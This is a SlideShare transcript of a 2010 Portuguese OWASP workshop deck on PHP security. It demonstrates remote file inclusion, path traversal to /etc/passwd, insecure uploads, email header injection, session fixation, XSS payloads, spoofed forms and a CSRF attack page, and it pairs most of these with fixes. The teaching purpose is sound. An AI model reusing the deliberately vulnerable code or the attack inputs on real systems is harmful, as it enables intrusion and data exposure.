OWASP@ ISCTE-IUL, Segurança em PHP
Upcoming SlideShare
Loading in...5
×
 

Like this? Share it with your network

Share

OWASP@ ISCTE-IUL, Segurança em PHP

on

  • 3,675 views

Apresentação realizada no OWASP@ISCTE-IUL, sobre Segurança em PHP

Apresentação realizada no OWASP@ISCTE-IUL, sobre Segurança em PHP

Statistics

Views

Total Views
3,675
Views on SlideShare
3,416
Embed Views
259

Actions

Likes
1
Downloads
69
Comments
0

7 Embeds 259

http://webappsec.netmust.eu 212
http://www.websegura.net 26
http://www.slideshare.net 10
http://www.carlosserrao.net 7
http://static.slidesharecdn.com 2
http://blog.carlosserrao.net 1
http://webcache.googleusercontent.com 1
More...

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

OWASP@ ISCTE-IUL, Segurança em PHP Presentation Transcript

  • 1. 1 OWASP @ ISCTE-IUL Workshop de Segurança Aplicacional Segurança em PHP Joaquim Marques - EST Abril 2010
  • 2. Aplicações Web - problemas No Início - Protocolo HTTP /browsers desenhados para permuta de documentos, - Utilização de tecnologias pouco interoperáveis na concepção de aplicações web, - Segurança das aplicações deixada para segundo plano. OWASP @ ISCTE-IUL Abril 2010
  • 3. Aplicações Web - problemas No Início - Protocolo HTTP /browsers desenhados para permuta de documentos, - Utilização de tecnologias pouco interoperáveis na concepção de aplicações web, - Segurança das aplicações deixada para segundo plano. Actualidade - Quase todas as aplicações Web tem problemas de segurança (diferentes umas das outras) - Dificuldade em criar aplicações razoavelmente seguras -Segurança é dispendiosa (análise de risco) - Segurança dificulta a usabilidade OWASP @ ISCTE-IUL Abril 2010
  • 4. Aplicações Web - problemas No Início - Protocolo HTTP /browsers desenhados para permuta de documentos, - Utilização de tecnologias pouco interoperáveis na concepção de aplicações web, - Segurança das aplicações deixada para segundo plano. Actualidade - Quase todas as aplicações Web tem problemas de segurança (diferentes umas das outras) - Dificuldade em criar aplicações razoavelmente seguras -Segurança é dispendiosa (análise de risco) - Segurança dificulta a usabilidade OWASP @ ISCTE-IUL Abril 2010
  • 5. 3 http://i.cmpnet.com/v2.gocsi.com/pdf/CSISurvey2007.pdf 2005 CSI/FBI Annual Computer Crime and Security Survey Abril 2010
  • 6. 4 CAPÍTULO II Dos crimes ligados à informática Artigo 3º - Falsidade informática Pena de prisão Artigo 4º - Dano relativo a programas ou outros dados Informáticos Artigo 5º - Sabotagem informática Artigo 6º - Acesso ilegítimo Artigo 7º - Intercepção ilegítima Abril 2010
  • 7. 5 Questões de segurança actuais - vulnerabilidades Ataques de “hackers” - negação de serviço, - assalto a servidores, Ameaças vulgares (vírus, spyware, pishing,…) Comprometimento de dados Abril 2010
  • 8. 5 Questões de segurança actuais - vulnerabilidades Ataques de “hackers” - negação de serviço, - assalto a servidores, Ameaças vulgares (vírus, spyware, pishing,…) Comprometimento de dados Ameaças – O que fazer < Monitorização: saber o que aconteceu. < Deteccão: saber quando fui atacado. < Prevenção parar os ataques antes de terem sucesso. < Avaliação: descobrir os problemas primeiro que os atacantes Abril 2010
  • 9. 6 Firewall de rede OWASP @ ISCTE-IUL Abril 2010
  • 10. 6 Firewall de rede Exploração de vulnerabilidades através: - Web servers - Database servers - Web Application Servers OWASP @ ISCTE-IUL Abril 2010
  • 11. 7 Abril 2010
  • 12. 7 Abril 2010
  • 13. 7 Abril 2010
  • 14. 8 - TOP 10 vulnerabilidades de aplicações Web 2010 Abril 2010
  • 15. 9 PHP – tipos de vulnerabilidades mais explorados PHP Remote File Include: Por defeito o PHP permite que as funções que lidam com ficheiros acedam a recursos através da funcionalidade/extensão "allow_url_fopen". Ao permitir que os scripts permitam que o input de utilizadores influenciem os nomes de ficheiros então a inclusão remota de ficheiros pode resultar. Este ataque permite: Execução de código remoto Instalação de rootkits Compromisso do sistema SQL Injection: As injecções são possíveis pelo fornecimento de dados falsamente interpretados pelas queries SQL. As injecções SQL permitem ao atacante: Criar, ler, alterar, e apagar os dados disponíveis para a aplicação comprometendo a base de dados e o próprio sistema. Cross-Site Scripting (XSS): Permite ao atacante desfigurar um website, inserir conteúdo hostil, conduzir ataques de pishing, assaltar o browser usando javascript e até forçar o utilizador a usar comandos inapropriados sem o saber (XSRF). Cross-Site Request Forgeries (CSR/XSRF): Força os utilizadores legítimos a executar comandos sem o seu consentimento, sendo extremamente difícil de prevenir ( a sua sofisticação tem vindo a aumentar pela utilização de técnicas AJAX e até de worms automatizados - Samy MySpace Worm. http://www.sans.org/top20/#s1 Abril 2010
  • 16. 10 PHP – cuidados básicos - verificar configuração do servidor Web/PHP - validar Input do utilizador Solução Auditoria(s) - ao servidor e aplicações Hábitos de programação segura Testes ao código Abril 2010
  • 17. 10 PHP – cuidados básicos - verificar configuração do servidor Web/PHP - validar Input do utilizador Solução Auditoria(s) - ao servidor e aplicações Hábitos de programação segura Testes ao código Abril 2010
  • 18. 10 PHP – cuidados básicos - verificar configuração do servidor Web/PHP - validar Input do utilizador Solução Auditoria(s) - ao servidor e aplicações Hábitos de programação segura Testes ao código Abril 2010
  • 19. 11 Ferramentas PhpSecInfo PHP SecAudit –Dan Lefree Alteração directivas php.ini (se for administrador) .htaccess php_flag directive value ini_set() Abril 2010
  • 20. 12 Regra básica Nunca confiar no “Input” dos utilizadores Origem input -Campos de formulário -Dados $_GET, $_POST, $_REQUEST -Cookies ($_COOKIES) -Dados de Web services -Ficheiros -Variáveis de servidor (ex:. $_SERVER['SERVER_NAME']) -Variáveis de ambiente -Resultados de querys a BD’s Abril 2010
  • 21. 12 Regra básica Nunca confiar no “Input” dos utilizadores Origem input -Campos de formulário -Dados $_GET, $_POST, $_REQUEST -Cookies ($_COOKIES) -Dados de Web services -Ficheiros -Variáveis de servidor (ex:. $_SERVER['SERVER_NAME']) -Variáveis de ambiente -Resultados de querys a BD’s Abril 2010
  • 22. 12 Regra básica Nunca confiar no “Input” dos utilizadores Filtragem e validação de dados em PHP Ferramentas e funções tradicionais Ferramentas standard (extensão filter-> PHP 5.2) funções que testam, validam e filtram o input dos utilizadores Abril 2010
  • 23. 12 Regra básica Nunca confiar no “Input” dos utilizadores Filtragem e validação de dados em PHP Ferramentas e funções tradicionais Ferramentas standard (extensão filter-> PHP 5.2) funções que testam, validam e filtram o input dos utilizadores FILTER_SANITIZE_STRING "string" FILTER_VALIDATE_INT "int" FILTER_SANITIZE_STRIPPED "stripped" FILTER_VALIDATE_BOOLEAN "boolean" FILTER_SANITIZE_ENCODED "encoded" FILTER_VALIDATE_FLOAT "float" FILTER_SANITIZE_SPECIAL_CHARS "special_chars" FILTER_VALIDATE_REGEXP "validate_regexp" FILTER_SANITIZE_EMAIL "email" FILTER_VALIDATE_URL "validate_url" FILTER_SANITIZE_URL "url" FILTER_VALIDATE_EMAIL "validate_email" FILTER_SANITIZE_NUMBER_INT "number_int" FILTER_VALIDATE_IP "validate_ip" FILTER_SANITIZE_NUMBER_FLOAT "number_float" FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes" FILTER_CALLBACK "callback" Abril 2010
  • 24. 12 Regra básica Nunca confiar no “Input” dos utilizadores Filtragem e validação de dados em PHP Ferramentas e funções tradicionais Ferramentas standard (extensão filter-> PHP 5.2) funções que testam, validam e filtram o input dos utilizadores FILTER_SANITIZE_STRING "string" FILTER_VALIDATE_INT "int" FILTER_SANITIZE_STRIPPED "stripped" FILTER_VALIDATE_BOOLEAN "boolean" FILTER_SANITIZE_ENCODED "encoded" FILTER_VALIDATE_FLOAT "float" FILTER_SANITIZE_SPECIAL_CHARS "special_chars" FILTER_VALIDATE_REGEXP "validate_regexp" FILTER_SANITIZE_EMAIL "email" FILTER_VALIDATE_URL "validate_url" FILTER_SANITIZE_URL "url" FILTER_VALIDATE_EMAIL "validate_email" FILTER_SANITIZE_NUMBER_INT "number_int" FILTER_VALIDATE_IP "validate_ip" FILTER_SANITIZE_NUMBER_FLOAT "number_float" FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes" FILTER_CALLBACK "callback" Funções de filtragem filter_var ( $variable [, $filter [,$options ]] ) filter_input ( $type , $variable_name [, $filter [, $options ]] ) …. Abril 2010
  • 25. 13 Owasp ESAPI(enterprise security API) for PHP http://code.google.com/p/owasp-esapi-php/ PHP – níveis múltiplos de filtragem de dados Abril 2010
  • 26. 13 Owasp ESAPI(enterprise security API) for PHP http://code.google.com/p/owasp-esapi-php/ PHP – níveis múltiplos de filtragem de dados Abril 2010
  • 27. 13 Owasp ESAPI(enterprise security API) for PHP http://code.google.com/p/owasp-esapi-php/ PHP – níveis múltiplos de filtragem de dados Abril 2010
  • 28. 14 Precauções básicas em PHP • restrição no acesso a phpinfo(), -> disable_functions =phpinfo • utilize ligações seguras SSL • utilize ficheiros e directórios ocultos/privados • “cuidados” com a configuração do PHP • listagem/reporting de erros • register_globals • safe_mode • “cuidados” com os privilégios na administração das BD´s • “cuidados” com os ficheiros de instalação/config das aplicações Abril 2010
  • 29. 14 Precauções básicas em PHP • restrição no acesso a phpinfo(), <?php -> disable_functions =phpinfo echo "---"; • utilize ligações seguras SSL //ini_set(disable_functions =phpinfo); • utilize ficheiros e directórios ocultos/privados //ini_set(register_globals = Off); sem qq efeito • “cuidados” com a configuração do PHP //ini_set(safe_mode = Off); sem qq efeito • listagem/reporting de erros ini_set('display_errors', 'Off'); ini_set('log_errors', 'On'); • register_globals ini_set('error_log', '../logs/error_log'); • safe_mode ini_set('error_reporting', E_ALL | E_STRICT); • “cuidados” com os privilégios na administração das BD´s phpinfo(); • “cuidados” com os ficheiros de instalação/config das aplicações ?> Abril 2010
  • 30. 14 Precauções básicas em PHP • restrição no acesso a phpinfo(), <?php -> disable_functions =phpinfo echo "---"; • utilize ligações seguras SSL //ini_set(disable_functions =phpinfo); • utilize ficheiros e directórios ocultos/privados //ini_set(register_globals = Off); sem qq efeito • “cuidados” com a configuração do PHP //ini_set(safe_mode = Off); sem qq efeito • listagem/reporting de erros ini_set('display_errors', 'Off'); ini_set('log_errors', 'On'); • register_globals ini_set('error_log', '../logs/error_log'); • safe_mode ini_set('error_reporting', E_ALL | E_STRICT); • “cuidados” com os privilégios na administração das BD´s phpinfo(); • “cuidados” com os ficheiros de instalação/config das aplicações ?> <? //ini_set('register_globals', 'Off'); sem qq efeito //$auth=0; if ($password == "chave") { $auth = 1; } if ($auth == 1) { echo "acesso permitido"; } else { echo "acesso recusado"; } Abril 2010 ?>
  • 31. 15 a)- Spoofing do endereço de e-mail To: $recipient Subject: $subject mail($recipient,$subject,$message,$headers) $headers $message <html> <body> <form method='POST' <?php action='php_email_injectiona.php'> //php_email_injectiona Para: @example.com <br /> ini_set("SMTP","mail.est.ipcb.pt"); De: <input name='email' type='text' /> <br /> ini_set("sendmail_from",“marques@est.ipcb.pt"); Assunto: <input name='assunto' type='text' /><br /> Message:<br /> if (isset($_POST['email'])){ <textarea name='mensagem' rows='10' cols='40'> $email = $_POST['email'] ; </textarea><br /> $assunto = $_POST['assunto'] ; <input type='submit' name='enviar' value='enviar'/> $mensagem = $_POST['mensagem'] ; </form> <?php if (mail("marques@est.ipcb.pt",$assunto,$mensagem, "From: $email" )){; } echo "Obrigado por enviar o email"; ?> } </body></html> }else{ ?> Abril 2010
  • 32. 15 a)- Spoofing do endereço de e-mail To: $recipient Subject: $subject mail($recipient,$subject,$message,$headers) $headers $message Abril 2010
  • 33. 15 a)- Spoofing do endereço de e-mail To: $recipient Subject: $subject mail($recipient,$subject,$message,$headers) $headers $message function spamcheck($field){ if(eregi("to:",$field) || eregi ("cc:",$field)) { return TRUE; Php_email_injection_a.php } else { return FALSE; } } Abril 2010
  • 34. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php //php_include.php echo "PHP_Include()"; include($_GET['fich']); ?> D. T. Abril 2010
  • 35. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php echo "PHP_Include()"; include($_GET['fich']); ?> D. T. Abril 2010
  • 36. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); ?> D. T. Abril 2010
  • 37. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> D. T. Abril 2010
  • 38. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> D. T. Abril 2010
  • 39. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Abril 2010
  • 40. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução: <?php //php_include_sec.php echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> Abril 2010
  • 41. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução alternativa Solução: <?php //php_include_sec.php echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> Abril 2010
  • 42. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução alternativa Solução: <?php Safemode=on //php_include_sec.php Open_basedir=/path echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> R. I. Abril 2010
  • 43. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução alternativa Solução: <?php Safemode=on //php_include_sec.php Open_basedir=/path echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha <?php //php_include1.php –colocar no site atacante R. print "<pre>"; I. passthru("dir"); print "</pre>"; ?> Abril 2010
  • 44. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução alternativa Solução: <?php Safemode=on //php_include_sec.php Open_basedir=/path echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha <?php //php_include1.php –colocar no site atacante R. print "<pre>"; I. passthru("dir"); print "</pre>"; http://localhost/security/php_include.php?fich=http:// ?> www.est.ipcb.pt/pessoais/marques/php_include1.phpsec Abril 2010
  • 45. 16 b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion) Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..) <?php http://localhost/php_include.php?fich=teste.txt //php_include.php http://localhost/security/php_include.php?fich=c:/boot.ini echo "PHP_Include()"; include($_GET['fich']); http://localhost/php_include.php?fich=/etc/passwd ?> http://localhost/php_include.php?fich=../../../etc/passwd D. T. Solução alternativa Solução: <?php Safemode=on //php_include_sec.php Open_basedir=/path echo"PHP_Include() -exemplo ataque <br>"; include(basename(realpath($_GET['fich']))); ?> ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha <?php //php_include1.php –colocar no site atacante R. print "<pre>"; I. passthru("dir"); print "</pre>"; http://localhost/security/php_include.php?fich=http:// ?> www.est.ipcb.pt/pessoais/marques/php_include1.phpsec Safe_mode=off Funciona com Allow_url_include=on Allow_url_fopen=on Abril 2010
  • 46. 17 c)- Upload de ficheiros <?php //fich_upload1a.php if (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; //print_r($_FILES); //} else { // echo "<br><br>"; // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].") <br>"; //} }else{ ?> <form name="form" method="post" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"> </form> <?php } ?> Abril 2010
  • 47. 17 c)- Upload de ficheiros <?php //fich_upload1a.php if (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; //print_r($_FILES); //} else { // echo "<br><br>"; // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].") <br>"; //} }else{ ?> <form name="form" method="post" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"> </form> <?php } ?> Abril 2010
  • 48. 17 c)- Upload de ficheiros <?php //fich_upload1a.php if (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; //print_r($_FILES); //} else { // echo "<br><br>"; // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].") <br>"; //} }else{ ?> <form name="form" method="post" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"> </form> <?php } ?> Abril 2010
  • 49. 18 c)- Upload de ficheiros <?php //fich_upload1.php if (isset($_POST['Enviar'])) { //if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { if (is_uploaded_file($_FILES['fich']['tmp_name']) && $_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) { move_uploaded_file($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR> Upload sem efeito"); echo "o seguinte ficheiro foi transferido correctamente <br>"; echo "Name: ".$_FILES['fich']['name']."<br>"; print_r($_FILES); } else { echo "<br><br>"; echo "Falha de Upload, tipo de ficheiro errado (".$_FILES['fich']['name'].")<br>"; } }else{ ?> <form name="form" method="POST" action="" enctype="multipart/form-data"> Ficheiro:<input type="file" name="fich"> <br> <input type="submit" name="Enviar" value="Enviar"> </form> <?php } ?> Abril 2010
  • 50. 19 d:) Fixação de sessões <?php 1 - Eliminar cookies (ver session.save_path) //php_session1.php - http://host/php_session1.php?PHPSESSID=123456789 session_start(); 2- a partir de outro computador $_SESSION['utilizador']='marques'; - http://host/php_session1.php?PHPSESSID=123456789 $_SESSION['password']='aeiou'; ?> Abril 2010
  • 51. 19 d:) Fixação de sessões <?php 1 - Eliminar cookies (ver session.save_path) //php_session1.php - http://host/php_session1.php?PHPSESSID=123456789 session_start(); 2- a partir de outro computador $_SESSION['utilizador']='marques'; - http://host/php_session1.php?PHPSESSID=123456789 $_SESSION['password']='aeiou'; ?> solução --session_regenerate_id() Abril 2010
  • 52. 19 d:) Fixação de sessões <?php 1 - Eliminar cookies (ver session.save_path) //php_session1.php - http://host/php_session1.php?PHPSESSID=123456789 session_start(); 2- a partir de outro computador $_SESSION['utilizador']='marques'; - http://host/php_session1.php?PHPSESSID=123456789 $_SESSION['password']='aeiou'; ?> solução --session_regenerate_id() ……….. if(!isset($_SESSION['SERVER_GENERATED_SID'])) { //destruir todos as sessões session_destroy(); } --Verificar se as sessões foram criadas pelo servidor web // gera um novo identificador de sessão session_regenerate_id( ); $_SESSION['SERVER_GENERATED_SID']=true; …….. Abril 2010
  • 53. 20 e) Sequestro de sessões (session Hijacking) Verificação extra (mudança de browser no utilizador) Solução – utilização de tokens Abril 2010
  • 54. 20 e) Sequestro de sessões (session Hijacking) compara o valor do HTTP_USER_AGENT do browser com o do servidor Web <?php session_start(); if (isset($_SESSION['HTTP_USER_AGENT'])) { if ($_SESSION['HTTP_USER_AGENT'] != Verificação extra md5($_SERVER['HTTP_USER_AGENT'])) (mudança de browser no { utilizador) /*PEDIDO de PASSWORD/ exit; } } else { $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); } ?> Solução – utilização de tokens Abril 2010
  • 55. 21 f) - Formulários Spoofed (falsificados) Abril 2010
  • 56. 21 f) - Formulários Spoofed (falsificados) //Formulario.htm <html><head> </head> <body> <form action="processar.php" method="post"> //processar.php <p>Marca</p> <select name="marca"> <?php <option value="Ford">Ford</option> $cor=$_REQUEST['cor']; <option value="Peugeot">Peugeot</option> $marca=$_REQUEST['marca']; <option value="Renault">Renault</option> echo "marca - ". $marca."<br>"; <option value="Mercedes">Mercedes</option> echo "cor - ".$cor."<br>"; </select> ?> <p>cor</p> <select name="cor"> <option value="branco">Branco</option> <option value="verde">Verde</option> <option value="azul">Azul</option> </select> <input type="submit"> </form></body> </html> Abril 2010
  • 57. 21 f) - Formulários Spoofed (falsificados) //Formulario.htm <html><head> </head> <body> <form action="processar.php" method="post"> //processar.php <p>Marca</p> <select name="marca"> <?php <option value="Ford">Ford</option> $cor=$_REQUEST['cor']; <option value="Peugeot">Peugeot</option> $marca=$_REQUEST['marca']; <option value="Renault">Renault</option> echo "marca - ". $marca."<br>"; <option value="Mercedes">Mercedes</option> echo "cor - ".$cor."<br>"; </select> ?> <p>cor</p> <select name="cor"> <option value="branco">Branco</option> <option value="verde">Verde</option> <option value="azul">Azul</option> </select> <input type="submit"> </form></body> </html> Abril 2010
  • 58. 21 f) - Formulários Spoofed (falsificados) <form action="http://www.vitimaspoof.com/processar.php" method="POST"> <p>Marca</p> <select name=“marca"> <option value="Anzol">Carro da marca Anzol</option> //processar.php <option value="Chaço">Carro da marca Chaço</option> </select> <?php <p>cor</p> $cor=$_REQUEST['cor']; <input type="text" name="cor" /> $marca=$_REQUEST['marca']; <input type="submit" echo "marca - ". $marca."<br>"; /> </form> echo "cor - ".$cor."<br>"; ?> Colocar no site do atacante (fazendo as alterações adequadas) Formulario_spoof.htm Abril 2010
  • 59. 21 f) - Formulários Spoofed (falsificados) <form action="http://www.vitimaspoof.com/processar.php" method="POST"> <p>Marca</p> <select name=“marca"> <option value="Anzol">Carro da marca Anzol</option> //processar.php <option value="Chaço">Carro da marca Chaço</option> </select> <?php <p>cor</p> $cor=$_REQUEST['cor']; <input type="text" name="cor" /> $marca=$_REQUEST['marca']; <input type="submit" echo "marca - ". $marca."<br>"; /> </form> echo "cor - ".$cor."<br>"; ?> Colocar no site do atacante (fazendo as alterações adequadas) Formulario_spoof.htm Abril 2010
  • 60. 21 f) - Formulários Spoofed (falsificados) <form action="http://www.vitimaspoof.com/processar.php" method="POST"> <p>Marca</p> <select name=“marca"> <option value="Anzol">Carro da marca Anzol</option> //processar.php <option value="Chaço">Carro da marca Chaço</option> </select> <?php <p>cor</p> $cor=$_REQUEST['cor']; <input type="text" name="cor" /> $marca=$_REQUEST['marca']; <input type="submit" echo "marca - ". $marca."<br>"; /> </form> echo "cor - ".$cor."<br>"; ?> Colocar no site do atacante (fazendo as alterações adequadas) Formulario_spoof.htm Solução <?php $markk=array ('Ford','Renault','Peugeot', ‘Mercedes’); if (in_array($marca, $markk)) { //ok executa código em processar.php } else{ die ("continue tentando ...eheheh"); } ?> Abril 2010
  • 61. 22 g) XSS - Cross Site Scripting //form1.htm <form action="processar.php" method="POST"> <p>marca</p> <select name="marca"> <option value="Ford">Ford</option> <option value="Peugeot">Peugeot</option> //processar.php <option value="Renault">Renault</option> <?php <option value="Mercedes">Mercedes</option> $cor=$_REQUEST['cor']; </select> $marca=$_REQUEST['marca']; <p>cor</p> echo "marca - ". $marca."<br>"; <input type="text" name="cor" /> echo "cor - ".$cor."<br>"; <input type="submit" /> //ligar a BD e inserir a escolha ?> </form> Abril 2010
  • 62. 22 g) XSS - Cross Site Scripting 1) <script> alert ('Ataque XSS')</script> Abril 2010
  • 63. 22 g) XSS - Cross Site Scripting 1) <script> alert ('Ataque XSS')</script> 2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script> Abril 2010
  • 64. 22 g) XSS - Cross Site Scripting 1) <script> alert ('Ataque XSS')</script> 2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script> 3) <script>document.location="http://www.php.net";</script> Abril 2010
  • 65. 22 g) XSS - Cross Site Scripting 1) <script> alert ('Ataque XSS')</script> 2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script> 3) <script>document.location="http://www.php.net";</script> Solução html_entities() strip_tags() Abril 2010
  • 66. 23 h ) - CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php Abril 2010
  • 67. 23 h ) - CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php Abril 2010
  • 68. 23 h ) - CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php Atacante Abril 2010
  • 69. 23 h ) - CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23 Atacante Abril 2010
  • 70. 23 h ) - CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23 Atacante Abril 2010
  • 71. 23 h ) - CSRF (XSRF) – Cross Site Request Forgery ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP php_csrf.htm php_CSRF.php http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23 Atacante Abril 2010
  • 72. 24 h ) - CSRF (XSRF) – Cross Site Request Forgery Atacante – desenvolve o script e coloca-o num servidor //csrf_ataque.html <html> <head> <title>CSRF ATAQUE</title> </head> <body> <a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas %20crackados&amp;Quantidade=23"><img style="border: 0px solid ; width: 115px; height: 61px;" alt="XSRF" src="php-med-trans.png"></a> </body> </html> Abril 2010
  • 73. 24 h ) - CSRF (XSRF) – Cross Site Request Forgery Atacante – desenvolve o script e coloca-o num servidor //csrf_ataque.html <html> <head> <title>CSRF ATAQUE</title> </head> <body> <a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas %20crackados&amp;Quantidade=23"><img style="border: 0px solid ; width: 115px; height: 61px;" alt="XSRF" src="php-med-trans.png"></a> </body> </html> Abril 2010
